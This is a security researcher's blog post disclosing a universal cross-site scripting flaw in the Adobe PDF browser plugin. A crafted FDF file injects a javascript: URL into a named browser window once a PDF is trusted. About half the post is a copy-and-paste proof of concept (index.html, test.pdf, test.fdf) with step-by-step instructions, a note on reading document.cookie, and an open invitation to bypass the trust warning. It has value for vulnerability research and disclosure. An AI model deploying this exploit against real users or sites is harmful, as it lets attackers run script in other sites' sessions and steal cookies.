Wednesday, May 24, 2017

PDF - FDF UXSS via trusted document (spoiler - requires a click :/ )


FDF: the file Forms Data Form

In this blogpost I disclose some additional information about a vulnerability I showed during my presentation at Appsec Belfast 2017. 
In the presentation I showed that it is possible to trigger JavaScript execution in any web page as soon as a PDF is trusted.
Although I am aware that a trusted PDF has quite a lot of permissions, I want to explain in this post how FDF can be used to execute JavaScript in a targeted domain.

!NOTE: THIS ONLY WORKS WITH THE ADOBE PDF BROWSER PLUGIN!

What is FDF

In this post I am not going to talk about PDF at all, as the used PDF for this attack does not matter. It just needs to be properly rendered inside the browser and be hosted on the same domain as the injected FDF (eg. your own server like http://attacker.com).

So what is FDF. FDF is a file structure, which allows to exchange field values, Javascript, annotations (eg. comments) and other information between PDFs. There are different ways to load this type of files into a PDF, but I will focus on one particular as it is the simplest one.
The structure of a FDF is defined in the PDF standard: Link to the standard:

It has a similar structure to PDF but I am not going into any details.  The reason being is that FDF defines two keys in his root structure we are going to use for this attack:


/F: The source file or target file: the PDF document file that this FDF file was exported from or is intended to be imported into. 

/Target: The name of a browser frame in which the underlying PDF document is to be opened. This mimics the behavior of the target attribute in HTML tags. 


Basically these two keys allow us to define the PDF, which the FDF belongs to and the window name it is currently loaded.


What do you think happens if we define the following keys:

/F (javascript:alert(location))
/Target (anywindowname)


As long as the PDF, which loads the FDF, is not trusted, you will get a warning box that tells you that certain features are blocked and you need to trust this PDF.
As soon as you trust the PDF, the specified URL in /F key is actually injected in the targeted window name. If it happens to be that the tab, with the specified name, has eg. google.com loaded, the JavaScript will be executed in the context of google.com.

By looking at the specified index.html, you will see that I use the PDF open parameters to load a FDF file. The specification for this behaviour can be found here: PDF open parameters


But enough of the details. Here is a step by step guide, with the payloads copy&paste ready:

1. Save index.html, test.pdf and test.fdf in the root of your web server. My index.html script assumes your web server runs on 127.0.0.1. 
2. Open http://127.0.0.1/index.html in IE (with the Adobe PDF plugin installed) 
3. Click: Load Victim Page (this opens a new tab)
4. Click: Load PDF
5. You will see a yellow warning sign. Click trust this document once
6. Given that my PDF is really simple, you will get a dialog: There was an error parsing this pdf document (just ignore it, you could also use a valid PDF, but then I couldn't copy&paste it in my blog because of the size)
7. After you clicked that you trusted the document once, nothing will happen but the yellow warning sign is not displayed.
8. Click the UXSS button. An alert should show up in the victim page (in my default example: google.com)


// Edit: https://twitter.com/evilcos was so kind to host the PoC on his webserver.
// He modified the FDF payload, so that document.cookie will be alerted
==> http://xssor.io/s/pdf.html

If any problems occur: Write me on twitter @insertscript:
Note: Why I am disclosing this? It requires clicks and yes I am aware that clickjacking could help but given that most of the time users only need to click once or maybe twice to execute a local program, I feel quite safe disclosing this vulnerability. 
Maybe you find a way to bypass the warning popup! 



//index.html
<!DOCTYPE html>
<head>
<meta http-equiv="X-UA-Compatible" content="IE=8" />
</head>
<body>
<h2>Enter URL you want to UXSS</h2>
<input name="url" type="text" value="https://google.at" id="url"/>
<button value="Fire1" onclick="step1()">Load Victim page</button><br><br>
<h2> Yeah lets load the PDF</h2>
<h2> As you will see you need to click: trust this document once</h2>
<button onclick="step2()">Load PDF</button>
<br><br>
<h2>Click to alert the location of the victim!</h2>
<button onclick="step3()">UXSS</button>
<br><br>
<div id="placeholder"/>
<script>
function step1(){
w = window.open(url.value,"attack");
}

function step2(){
a = document.createElement("iframe");
a.height = 1000;
a.width = 1000;
a.src="/test.pdf#FDF=http://127.0.0.1//test.fdf"
placeholder.appendChild(a);
}
function step3(){
a = document.createElement("iframe");
a.height = 0;
a.width = 0;
a.frameborder = 0;
a.src="/test.pdf#FDF=http://127.0.0.1//test.fdf"
placeholder.appendChild(a);
}
</script>


//test.pdf
%PDF-1.1

trailer
<< 
/Root 1 0 R
>> 

1 0 obj
<< 
/Type /Catalog
/Pages 2 0 R
>> 
endobj

2 0 obj
<< 
/Type /Action
/S /URI
>> 
endobj

%%EOF

//test.fdf
%FDF-1.2
%âãÏÓ
1 0 obj
<</FDF<</Annots[2 0 R]
/Target (attack)
/F (javascript:alert(location))
/ID[<9DE1D53EE27B8342ABAF121AB257E7EA><4370C7654ACB0D429DF932C95FF78175>]
>>/Type/Catalog>>
endobj
2 0 obj
<< 
/C[1.0 1.0 1.0]
/Contents(HALL2O)
/CreationDate(D:20160821215706+02'00')
/DA(0.898 0.1333 0.2157 rg /Helv 12 Tf)
/DS(font: Helvetica,sans-serif 12.0pt; text-align:left; color:#E52237 )
/F 4
/M(D:20160821215711+02'00')
/NM(e85d1cb2-2c79-40f5-a2a2-83708ab127c9)
/Page 0
/RC(<?xml version="1.0"?><body xmlns="http://www.w3.org/1999/xhtml" xmlns:xfa="http://www.xfa.org/schema/xfa-data/1.0/" xfa:APIVersion="Acrobat:15.17.0" xfa:spec="2.0.2"  style="font-size:12.0pt;text-align:left;color:#FF0000;font-weight:normal;font-style:norm\
al;font-family:Helvetica,sans-serif;font-stretch:normal"><p dir="ltr"><span style="font-family:Helvetica">Hjj</span></p></body>)
/Rect[0 0 0 0]
/Subj(Textfeld)
/Subtype/FreeText
/T(johnny)
/Type/Annot
>> 
endobj

trailer
<</Root 1 0 R>>
%%EOF